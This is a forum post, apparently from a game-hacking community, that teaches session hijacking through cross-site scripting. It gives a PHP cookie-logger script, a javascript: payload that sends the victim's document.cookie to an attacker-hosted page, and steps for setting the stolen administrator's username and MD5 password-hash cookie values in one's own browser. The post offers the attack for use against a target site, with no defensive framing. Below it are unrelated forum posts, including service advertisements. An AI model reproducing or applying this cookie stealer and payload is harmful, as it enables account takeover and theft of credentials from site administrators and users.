Jump to content

Recommended Posts

Posted

 

 

About

 

In this tutorial, I'll go through the processes of exploiting/manipulating cookies. A cookie, also known as browser cookie, is usually a small piece of data sent from a website and stored in a user's browser while a user is browsing a website. When the user visits the website after closing it, he will have session active because of the cookie retrieved information.

 

Session Hijacking

 

First of all, let's begin by explaining what session hijacking is. Basically, when a user registers at a website, he has his login credentials stored in a database. Upon successfully supplying and retrieval of that information, the user gets logged in. That particular attempt of logging and entering the account is creating a session. Sessions keep users logged throughout their whole browsing of the website.

 

Sessions have a name, value and a domain they are working on. Each session has a unique value which could not be traced normally for different users. However, we could use cross-site scripting (XSS) to grab the user's session ID and MD5 hash value.

 

For the sake of this tutorial, we will use the following:

 

Mozilla Firefox

Firebug (add-on)

Hosted PHP-based cookie stealer

 

Our goal is to steal the admin cookie which contains an active session. This could be done via cross-site scripting (XSS). So our vulnerability must be in the scope of the website we have as a target. We need to design a piece of code that would redirect the administrator upon clicking it to a page where our cookie stealer is located. Let's say we've found a vulnerable message system with a few input fields.

 

xekpz.jpg

 

What we aim to do now is send a small forged Javascript code that contains a false link. But what exactly is the cookie stealer?

 

Cookie Stealer

 

The cookie stealer plays the role of our cookie collector. Whenever our target visits the page with the cookie stealer, it will automatically log his cookies.

 


<?php

$container = $HTTP_GET_VARS['cookie'];
$file = fopen('logger.txt', 'a');
fwrite($file, $container . '\n\n');

?>

 

Upload it to your server (I use 000webhost) with the .php extension, of course. Either with an FTP client like FileZilla or the web-based one.

 

TP7e3.jpg

QCGU9.jpg

 

All that this small piece of code does is the following:

 

With the $container variable we collect/store the cookie itself. The $file variable creates a file that will store the cookie information. And the fwrite() function saves the cookie to the file. Now the \n is used to make a breakline. Practically, it bears the same function of <br /> tag in HTML.

 

Now all that is left is to forge the Javascript code that we are going to use to trick the admin to our cookie stealer.

 

javascript:void(window.location="www.[Censored].com/CookieLogger.php" + document.cookie)

 

The void() function in Javascript indicates that the link will open on the same page. The window.location serves the role of <a href=""> in HTML - Redirecting. And the document.cookie is the part where we grab the cookie from the user.

 

Ok, say we've got the cookie logged successfully. We now need to change our session value to the one we've got.

 

u3ika.jpg

 

strUsername=Administrator%40Account

strPassword=5b3de25c4dba50d2102281633d339b48

 

Now right click and Edit the cookie. That way we'll get the last active session of the administrator.

 

I2gXw.jpg

 

We will do the same thing with the password. But note that it's hashed in MD5.

 

Notice: Do NOT try cracking the hash and then place it's plaintext as a session value. It needs to be hashed in order to be parsed by the server.

 

UHRqz.jpg

 

You can also get to use the session within the URL bar. Delete the address and type:

 

javascript:void(document.cookie="strUsername=Administrator%40Account")

 

Then the same process for the password

 

javascript:void(document.cookie="strPassword=5b3de25c4dba50d2102281633d339b48")

 

That ends the tutorial. Hope you got something out of it. Thanks for reading!

 

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


  • Posts

    • TELEGRAM SEO TRAINING (Bot Ranking in Search) I teach a complete system for ranking Telegram bots at the top of search results by keywords and countries. The method works for services, shops, crypto projects, and any type of Telegram bot. You can also direct the traffic to your groups, channels, websites, or sales funnels. ⸻  Countries I work with USA, Israel, Russia, India, Turkey, China, Ukraine, Uzbekistan. If you need another country — message me, we’ll find a solution. ⸻ ️ Results First search results appear in 2–3 days. ⸻  What’s included in the training • how the Telegram search algorithm works and key ranking factors • keyword research for your country and niche • bot optimization: description, settings, greeting text • fixing and maintaining positions • specific promotion nuances for different countries ⸻  What you will receive • a complete system for ranking bots in search • understanding how to work with keywords, traffic, and positions • a skill you can use to promote your own projects or earn from clients ⸻  Who this training is for • beginners with zero experience — I explain everything from scratch • those who don’t have a bot — I provide a ready one for practice • anyone who wants to learn promotion and earn from this service ⸻  Why learn from me • doing Telegram SEO since 2021 • over 1000 successful orders • my own panel SMMTG.PRO and private databases • experience working with markets of Russia, Uzbekistan, Ukraine, Israel, USA, Turkey, China, India, Vietnam, Europe, and more ⸻  For pricing — message me t.me/smmtg_link
    • Hey everyone, I was wondering if anyone knows where the client loads all the .dat files. Is there some kind of manifest or list you can specify which dat files the client loads?
    • 🔥 Welcome to Lineage 2 Haruna x3 – True Classic Interlude Experience 🔥 At Haruna x3, we’re bringing back the true essence of Interlude – slow, meaningful progression where every level matters, every item has value, and PvP is real. We’re not about fast servers, pay-to-win advantages, or fake populations. Our goal is simple: create a fair, stable, and long-term server where players can enjoy real competition, strategic clan warfare, and the thrill of open-world PvP. 💎 What Makes Haruna x3 Special? x3 Rates – Perfect for steady, rewarding progression Classic Interlude Mechanics – Relive the nostalgia of Interlude Stable & Lag-Free Gameplay – Optimized for thousands of players online Fair & Balanced – No pay-to-win, every victory is earned PvP & Clan Warfare Focused – Every battle counts 🌟 Quality of Life Features to Enhance Your Experience We keep the classic feel while adding features that make the game more convenient and enjoyable, including: Shift + Click to view monster droplists Free item mail and buy/sell via Adena Daily login rewards & Stream Rewards ALT+K Skill Panel & Alt+Click buffs removal Offline shop system Captcha for security Donate Coins currency (cannot be traded, dropped, or destroyed) Classic P110 client – no custom interface 🏰 Our Philosophy We believe Lineage 2 is about the journey, not just the destination. Haruna x3 is designed for months and years of growth, not weeks. We provide a community-driven environment where honest gameplay, fair competition, and strategic teamwork are at the forefront. 🌍 Join Our Community Whether you’re a veteran of Interlude or a returning player seeking a true classic experience, Haruna x3 offers a place to fight, trade, and grow alongside dedicated players. Step into the world of Haruna x3 – where every decision matters, every fight counts, and every victory is yours to earn. Discord: https://discord.gg/7DDC9Dsxnh Website : www.l2haruna.com
    • No, the real purpose is cheating and custom  development for games.  I'm building a custom AI moderator specially for checking illegal activity and flag current topica.
  • Topics

×
×
  • Create New...

AdBlock Extension Detected!

Our website is made possible by displaying online advertisements to our members.

Please disable AdBlock browser extension first, to be able to use our community.

I've Disabled AdBlock